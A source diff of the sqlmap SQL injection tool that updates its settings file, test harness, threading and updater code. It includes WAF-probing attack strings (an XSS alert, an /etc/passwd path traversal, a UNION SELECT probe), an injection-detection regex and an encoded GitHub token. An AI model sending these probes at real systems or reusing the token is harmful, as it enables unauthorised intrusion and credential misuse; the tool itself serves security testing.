DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS",\
|
||||
"SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
||||
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
||||
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
||||
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
||||
|
||||
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
||||
MYSQL_ALIASES = ("mysql", "my")
|
||||
MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
|
||||
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg")
|
||||
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
||||
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
||||
@@ -229,10 +231,11 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
|
||||
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
||||
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
||||
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
||||
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
||||
|
||||
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
||||
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES
|
||||
SUPPORTED_OS = ("linux", "windows")
|
||||
|
||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES))
|
||||
@@ -248,39 +251,39 @@ WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "C
|
||||
|
||||
# Items displayed in basic help (-h) output
|
||||
BASIC_HELP_ITEMS = (
|
||||
"url",
|
||||
"googleDork",
|
||||
"data",
|
||||
"cookie",
|
||||
"randomAgent",
|
||||
"proxy",
|
||||
"testParameter",
|
||||
"dbms",
|
||||
"level",
|
||||
"risk",
|
||||
"tech",
|
||||
"getAll",
|
||||
"getBanner",
|
||||
"getCurrentUser",
|
||||
"getCurrentDb",
|
||||
"getPasswordHashes",
|
||||
"getTables",
|
||||
"getColumns",
|
||||
"getSchema",
|
||||
"dumpTable",
|
||||
"dumpAll",
|
||||
"db",
|
||||
"tbl",
|
||||
"col",
|
||||
"osShell",
|
||||
"osPwn",
|
||||
"batch",
|
||||
"checkTor",
|
||||
"flushSession",
|
||||
"tor",
|
||||
"sqlmapShell",
|
||||
"wizard",
|
||||
)
|
||||
"url",
|
||||
"googleDork",
|
||||
"data",
|
||||
"cookie",
|
||||
"randomAgent",
|
||||
"proxy",
|
||||
"testParameter",
|
||||
"dbms",
|
||||
"level",
|
||||
"risk",
|
||||
"tech",
|
||||
"getAll",
|
||||
"getBanner",
|
||||
"getCurrentUser",
|
||||
"getCurrentDb",
|
||||
"getPasswordHashes",
|
||||
"getTables",
|
||||
"getColumns",
|
||||
"getSchema",
|
||||
"dumpTable",
|
||||
"dumpAll",
|
||||
"db",
|
||||
"tbl",
|
||||
"col",
|
||||
"osShell",
|
||||
"osPwn",
|
||||
"batch",
|
||||
"checkTor",
|
||||
"flushSession",
|
||||
"tor",
|
||||
"sqlmapShell",
|
||||
"wizard",
|
||||
)
|
||||
|
||||
# String representation for NULL value
|
||||
NULL = "NULL"
|
||||
@@ -296,12 +299,13 @@ FILE_PATH_REGEXES = (r" in (file )?<b>(?P<result>.*?)</b> on line \d+", r"in (?P
|
||||
|
||||
# Regular expressions used for parsing error messages (--parse-errors)
|
||||
ERROR_PARSING_REGEXES = (
|
||||
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
|
||||
r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
|
||||
r"<li>Error Type:<br>(?P<result>.+?)</li>",
|
||||
r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
|
||||
r"(?m)^\s*\[[^\n]+(ODBC|JDBC)[^\n]+\](?P<result>[^\]]+in query expression[^\n]+)$"
|
||||
)
|
||||
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
|
||||
r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
|
||||
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
|
||||
r"<li>Error Type:<br>(?P<result>.+?)</li>",
|
||||
r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
|
||||
r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)"
|
||||
)
|
||||
|
||||
# Regular expression used for parsing charset info from meta html headers
|
||||
META_CHARSET_REGEX = r'(?si)<head>.*<meta[^>]+charset="?(?P<result>[^"> ]+).*</head>'
|
||||
@@ -339,6 +343,9 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
|
||||
# Regex used for masking sensitive data
|
||||
SENSITIVE_DATA_REGEX = "(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
|
||||
|
||||
# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
|
||||
SENSITIVE_OPTIONS = ("hostname", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
|
||||
|
||||
# Maximum number of threads (avoiding connection issues and/or DoS)
|
||||
MAX_NUMBER_OF_THREADS = 10
|
||||
|
||||
@@ -394,10 +401,10 @@ HASH_MOD_ITEM_DISPLAY = 11
|
||||
MAX_INT = sys.maxint
|
||||
|
||||
# Options that need to be restored in multiple targets run mode
|
||||
RESTORE_MERGED_OPTIONS = ("col", "db", "dnsName", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
|
||||
RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
|
||||
|
||||
# Parameters to be ignored in detection phase (upper case)
|
||||
IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN")
|
||||
IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN")
|
||||
|
||||
# Regular expression used for recognition of ASP.NET control parameters
|
||||
ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$"
|
||||
@@ -426,10 +433,10 @@ IGNORE_SAVE_OPTIONS = ("saveConfig",)
|
||||
# IP address of the localhost
|
||||
LOCALHOST = "127.0.0.1"
|
||||
|
||||
# Default port used by Tor
|
||||
DEFAULT_TOR_SOCKS_PORT = 9050
|
||||
# Default SOCKS ports used by Tor
|
||||
DEFAULT_TOR_SOCKS_PORTS = (9050, 9150)
|
||||
|
||||
# Default ports used in Tor proxy bundles
|
||||
# Default HTTP ports used by Tor
|
||||
DEFAULT_TOR_HTTP_PORTS = (8123, 8118)
|
||||
|
||||
# Percentage below which comparison engine could have problems
|
||||
@@ -459,7 +466,7 @@ DUMMY_SQL_INJECTION_CHARS = ";()'"
|
||||
DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY)\b"
|
||||
|
||||
# Extensions skipped by crawler
|
||||
CRAWL_EXCLUDE_EXTENSIONS = ('3ds', '3g2', '3gp', '7z', 'DS_Store', 'a', 'aac', 'adp', 'ai', 'aif', 'aiff', 'apk', 'ar', 'asf', 'au', 'avi', 'bak', 'bin', 'bk', 'bmp', 'btif', 'bz2', 'cab', 'caf', 'cgm', 'cmx', 'cpio', 'cr2', 'dat', 'deb', 'djvu', 'dll', 'dmg', 'dmp', 'dng', 'doc', 'docx', 'dot', 'dotx', 'dra', 'dsk', 'dts', 'dtshd', 'dvb', 'dwg', 'dxf', 'ear', 'ecelp4800', 'ecelp7470', 'ecelp9600', 'egg', 'eol', 'eot', 'epub', 'exe', 'f4v', 'fbs', 'fh', 'fla', 'flac', 'fli', 'flv', 'fpx', 'fst', 'fvt', 'g3', 'gif', 'gz', 'h261', 'h263', 'h264', 'ico', 'ief', 'image', 'img', 'ipa', 'iso', 'jar', 'jpeg', 'jpg', 'jpgv', 'jpm', 'jxr', 'ktx', 'lvp', 'lz', 'lzma', 'lzo', 'm3u', 'm4a', 'm4v', 'mar', 'mdi', 'mid', 'mj2', 'mka', 'mkv', 'mmr', 'mng', 'mov', 'movie', 'mp3', 'mp4', 'mp4a', 'mpeg', 'mpg', 'mpga', 'mxu', 'nef', 'npx', 'o', 'oga', 'ogg', 'ogv', 'otf', 'pbm', 'pcx', 'pdf', 'pea', 'pgm', 'pic', 'png', 'pnm', 'ppm', 'pps', 'ppt', 'pptx', 'ps', 'psd', 'pya', 'pyc', 'pyo', 'pyv', 'qt', 'rar', 'ras', 'raw', 'rgb', 'rip', 'rlc', 'rz', 's3m', 's7z', 'scm', 'scpt', 'sgi', 'shar', 'sil', 'smv', 'so', 'sub', 'swf', 'tar', 'tbz2', 'tga', 'tgz', 'tif', 'tiff', 'tlz', 'ts', 'ttf', 'uvh', 'uvi', 'uvm', 'uvp', 'uvs', 'uvu', 'viv', 'vob', 'war', 'wav', 'wax', 'wbmp', 'wdp', 'weba', 'webm', 'webp', 'whl', 'wm', 'wma', 'wmv', 'wmx', 'woff', 'woff2', 'wvx', 'xbm', 'xif', 'xls', 'xlsx', 'xlt', 'xm', 'xpi', 'xpm', 'xwd', 'xz', 'z', 'zip', 'zipx')
|
||||
CRAWL_EXCLUDE_EXTENSIONS = ("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx")
|
||||
|
||||
# Patterns often seen in HTTP headers containing custom injection marking character
|
||||
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
|
||||
@@ -476,14 +483,14 @@ IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")
|
||||
# Data inside shellcodeexec to be filled with random string
|
||||
SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
||||
|
||||
# Vectors used for provoking specific WAF/IDS/IPS behavior(s)
|
||||
# Vectors used for provoking specific WAF/IPS/IDS behavior(s)
|
||||
WAF_ATTACK_VECTORS = (
|
||||
"", # NIL
|
||||
"search=<script>alert(1)</script>",
|
||||
"file=../../../../etc/passwd",
|
||||
"q=<invalid>foobar",
|
||||
"id=1 %s" % IDS_WAF_CHECK_PAYLOAD
|
||||
)
|
||||
"", # NIL
|
||||
"search=<script>alert(1)</script>",
|
||||
"file=../../../../etc/passwd",
|
||||
"q=<invalid>foobar",
|
||||
"id=1 %s" % IDS_WAF_CHECK_PAYLOAD
|
||||
)
|
||||
|
||||
# Used for status representation in dictionary attack phase
|
||||
ROTATING_CHARS = ('\\', '|', '|', '/', '-')
|
||||
@@ -507,20 +514,20 @@ PARSE_HEADERS_LIMIT = 3
|
||||
# Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
|
||||
ORDER_BY_STEP = 10
|
||||
|
||||
# Maximum number of times for revalidation of a character in time-based injections
|
||||
MAX_TIME_REVALIDATION_STEPS = 5
|
||||
# Maximum number of times for revalidation of a character in inference (as required)
|
||||
MAX_REVALIDATION_STEPS = 5
|
||||
|
||||
# Characters that can be used to split parameter values in provided command line (e.g. in --tamper)
|
||||
PARAMETER_SPLITTING_REGEX = r'[,|;]'
|
||||
PARAMETER_SPLITTING_REGEX = r"[,|;]"
|
||||
|
||||
# Regular expression describing possible union char value (e.g. used in --union-char)
|
||||
UNION_CHAR_REGEX = r'\A\w+\Z'
|
||||
UNION_CHAR_REGEX = r"\A\w+\Z"
|
||||
|
||||
# Attribute used for storing original parameter value in special cases (e.g. POST)
|
||||
UNENCODED_ORIGINAL_VALUE = 'original'
|
||||
UNENCODED_ORIGINAL_VALUE = "original"
|
||||
|
||||
# Common column names containing usernames (used for hash cracking in some cases)
|
||||
COMMON_USER_COLUMNS = ('user', 'username', 'user_name', 'benutzername', 'benutzer', 'utilisateur', 'usager', 'consommateur', 'utente', 'utilizzatore', 'usufrutuario', 'korisnik', 'usuario', 'consumidor')
|
||||
COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "usufrutuario", "korisnik", "usuario", "consumidor")
|
||||
|
||||
# Default delimiter in GET/POST values
|
||||
DEFAULT_GET_POST_DELIMITER = '&'
|
||||
@@ -532,7 +539,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
|
||||
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
|
||||
|
||||
# Github OAuth token used for creating an automatic Issue for unhandled exceptions
|
||||
GITHUB_REPORT_OAUTH_TOKEN = "YzNkYTgyMTdjYzdjNjZjMjFjMWE5ODI5OGQyNzk2ODM1M2M0MzUyOA=="
|
||||
GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ=="
|
||||
|
||||
# Skip unforced HashDB flush requests below the threshold number of cached items
|
||||
HASHDB_FLUSH_THRESHOLD = 32
|
||||
@@ -540,11 +547,14 @@ HASHDB_FLUSH_THRESHOLD = 32
|
||||
# Number of retries for unsuccessful HashDB flush attempts
|
||||
HASHDB_FLUSH_RETRIES = 3
|
||||
|
||||
# Number of retries for unsuccessful HashDB retrieve attempts
|
||||
HASHDB_RETRIEVE_RETRIES = 3
|
||||
|
||||
# Number of retries for unsuccessful HashDB end transaction attempts
|
||||
HASHDB_END_TRANSACTION_RETRIES = 3
|
||||
|
||||
# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
|
||||
HASHDB_MILESTONE_VALUE = "baFJusZrel" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
|
||||
HASHDB_MILESTONE_VALUE = "dPHoJRQYvs" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
|
||||
|
||||
# Warn user of possible delay due to large page dump in full UNION query injections
|
||||
LARGE_OUTPUT_THRESHOLD = 1024 ** 2
|
||||
@@ -570,6 +580,9 @@ DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters)
|
||||
# Alphabet used for heuristic checks
|
||||
HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')
|
||||
|
||||
# Minor artistic touch
|
||||
BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER)
|
||||
|
||||
# String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
|
||||
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
|
||||
|
||||
@@ -583,7 +596,7 @@ NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
|
||||
MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
|
||||
|
||||
# Maximum response total page size (trimmed if larger)
|
||||
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
|
||||
MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024
|
||||
|
||||
# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
|
||||
MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
|
||||
@@ -604,7 +617,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
|
||||
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
||||
|
||||
# Boldify all logger messages containing these "patterns"
|
||||
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA")
|
||||
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA")
|
||||
|
||||
# Generic www root directory names
|
||||
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
|
||||
|
||||
+1
-6
@@ -68,7 +68,6 @@ from lib.core.settings import URI_INJECTABLE_REGEX
|
||||
from lib.core.settings import USER_AGENT_ALIASES
|
||||
from lib.core.settings import XML_RECOGNITION_REGEX
|
||||
from lib.utils.hashdb import HashDB
|
||||
from lib.core.xmldump import dumper as xmldumper
|
||||
from thirdparty.odict.odict import OrderedDict
|
||||
|
||||
def _setRequestParams():
|
||||
@@ -593,11 +592,7 @@ def _createDumpDir():
|
||||
conf.dumpPath = tempDir
|
||||
|
||||
def _configureDumper():
|
||||
if hasattr(conf, 'xmlFile') and conf.xmlFile:
|
||||
conf.dumper = xmldumper
|
||||
else:
|
||||
conf.dumper = dumper
|
||||
|
||||
conf.dumper = dumper
|
||||
conf.dumper.setOutputFile()
|
||||
|
||||
def _createTargetDirs():
|
||||
|
||||
+29
-26
@@ -41,6 +41,8 @@ class Failures(object):
|
||||
failedParseOn = None
|
||||
failedTraceBack = None
|
||||
|
||||
_failures = Failures()
|
||||
|
||||
def smokeTest():
|
||||
"""
|
||||
Runs the basic smoke testing of a program
|
||||
@@ -53,16 +55,17 @@ def smokeTest():
|
||||
if any(_ in root for _ in ("thirdparty", "extra")):
|
||||
continue
|
||||
|
||||
for ifile in files:
|
||||
length += 1
|
||||
for filename in files:
|
||||
if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
|
||||
length += 1
|
||||
|
||||
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
||||
if any(_ in root for _ in ("thirdparty", "extra")):
|
||||
continue
|
||||
|
||||
for ifile in files:
|
||||
if os.path.splitext(ifile)[1].lower() == ".py" and ifile != "__init__.py":
|
||||
path = os.path.join(root, os.path.splitext(ifile)[0])
|
||||
for filename in files:
|
||||
if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
|
||||
path = os.path.join(root, os.path.splitext(filename)[0])
|
||||
path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
|
||||
path = path.replace(os.sep, '.').lstrip('.')
|
||||
try:
|
||||
@@ -71,7 +74,7 @@ def smokeTest():
|
||||
except Exception, msg:
|
||||
retVal = False
|
||||
dataToStdout("\r")
|
||||
errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, ifile), msg)
|
||||
errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg)
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
# Run doc tests
|
||||
@@ -80,9 +83,9 @@ def smokeTest():
|
||||
if failure_count > 0:
|
||||
retVal = False
|
||||
|
||||
count += 1
|
||||
status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
|
||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||
count += 1
|
||||
status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
|
||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||
|
||||
clearConsoleLine()
|
||||
if retVal:
|
||||
@@ -192,11 +195,11 @@ def liveTest():
|
||||
else:
|
||||
errMsg = "test failed"
|
||||
|
||||
if Failures.failedItems:
|
||||
errMsg += " at parsing items: %s" % ", ".join(i for i in Failures.failedItems)
|
||||
if _failures.failedItems:
|
||||
errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems)
|
||||
|
||||
errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH
|
||||
errMsg += " - traceback: %s" % bool(Failures.failedTraceBack)
|
||||
errMsg += " - traceback: %s" % bool(_failures.failedTraceBack)
|
||||
|
||||
if not vulnerable:
|
||||
errMsg += " - SQL injection not detected"
|
||||
@@ -204,14 +207,14 @@ def liveTest():
|
||||
logger.error(errMsg)
|
||||
test_case_fd.write("%s\n" % errMsg)
|
||||
|
||||
if Failures.failedParseOn:
|
||||
if _failures.failedParseOn:
|
||||
console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING)
|
||||
console_output_fd.write(Failures.failedParseOn)
|
||||
console_output_fd.write(_failures.failedParseOn)
|
||||
console_output_fd.close()
|
||||
|
||||
if Failures.failedTraceBack:
|
||||
if _failures.failedTraceBack:
|
||||
traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING)
|
||||
traceback_fd.write(Failures.failedTraceBack)
|
||||
traceback_fd.write(_failures.failedTraceBack)
|
||||
traceback_fd.close()
|
||||
|
||||
beep()
|
||||
@@ -232,9 +235,9 @@ def liveTest():
|
||||
return retVal
|
||||
|
||||
def initCase(switches, count):
|
||||
Failures.failedItems = []
|
||||
Failures.failedParseOn = None
|
||||
Failures.failedTraceBack = None
|
||||
_failures.failedItems = []
|
||||
_failures.failedParseOn = None
|
||||
_failures.failedTraceBack = None
|
||||
|
||||
paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
|
||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||
@@ -278,10 +281,10 @@ def runCase(parse):
|
||||
LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__
|
||||
|
||||
if unhandled_exception:
|
||||
Failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
|
||||
_failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
|
||||
retVal = None
|
||||
elif handled_exception:
|
||||
Failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
|
||||
_failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
|
||||
retVal = None
|
||||
elif result is False: # this means no SQL injection has been detected - if None, ignore
|
||||
retVal = False
|
||||
@@ -298,17 +301,17 @@ def runCase(parse):
|
||||
if item.startswith("r'") and item.endswith("'"):
|
||||
if not re.search(item[2:-1], parse_on, re.DOTALL):
|
||||
retVal = None
|
||||
Failures.failedItems.append(item)
|
||||
_failures.failedItems.append(item)
|
||||
|
||||
elif item not in parse_on:
|
||||
retVal = None
|
||||
Failures.failedItems.append(item)
|
||||
_failures.failedItems.append(item)
|
||||
|
||||
if Failures.failedItems:
|
||||
Failures.failedParseOn = console
|
||||
if _failures.failedItems:
|
||||
_failures.failedParseOn = console
|
||||
|
||||
elif retVal is False:
|
||||
Failures.failedParseOn = console
|
||||
_failures.failedParseOn = console
|
||||
|
||||
return retVal
|
||||
|
||||
|
||||
+5
-2
@@ -20,6 +20,7 @@ from lib.core.datatype import AttribDict
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapThreadException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.exception import SqlmapValueException
|
||||
from lib.core.settings import MAX_NUMBER_OF_THREADS
|
||||
from lib.core.settings import PYVERSION
|
||||
@@ -42,6 +43,7 @@ class _ThreadData(threading.local):
|
||||
self.disableStdOut = False
|
||||
self.hashDBCursor = None
|
||||
self.inTransaction = False
|
||||
self.lastCode = None
|
||||
self.lastComparisonPage = None
|
||||
self.lastComparisonHeaders = None
|
||||
self.lastComparisonCode = None
|
||||
@@ -58,6 +60,7 @@ class _ThreadData(threading.local):
|
||||
self.retriesCount = 0
|
||||
self.seqMatcher = difflib.SequenceMatcher(None)
|
||||
self.shared = shared
|
||||
self.validationRun = 0
|
||||
self.valueStack = []
|
||||
|
||||
ThreadData = _ThreadData()
|
||||
@@ -164,13 +167,13 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
||||
alive = True
|
||||
time.sleep(0.1)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
except (KeyboardInterrupt, SqlmapUserQuitException), ex:
|
||||
print
|
||||
kb.threadContinue = False
|
||||
kb.threadException = True
|
||||
|
||||
if numThreads > 1:
|
||||
logger.info("waiting for threads to finish (Ctrl+C was pressed)")
|
||||
logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
|
||||
try:
|
||||
while (threading.activeCount() > 1):
|
||||
pass
|
||||
|
||||
+1
-3
@@ -53,9 +53,7 @@ def update():
|
||||
stderr = getSafeExString(ex)
|
||||
|
||||
if success:
|
||||
import lib.core.settings
|
||||
_ = lib.core.settings.REVISION = getRevisionNumber()
|
||||
logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", _))
|
||||
logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", getRevisionNumber()))
|
||||
else:
|
||||
if "Not a git repository" in stderr:
|
||||
errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
|
||||
|
||||
@@ -1,536 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
import codecs
|
||||
import os
|
||||
import re
|
||||
import xml
|
||||
|
||||
import xml.sax.saxutils as saxutils
|
||||
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapFilePathException
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from thirdparty.prettyprint import prettyprint
|
||||
from xml.dom.minidom import Document
|
||||
from xml.parsers.expat import ExpatError
|
||||
|
||||
TECHNIC_ELEM_NAME = "Technic"
|
||||
TECHNICS_ELEM_NAME = "Technics"
|
||||
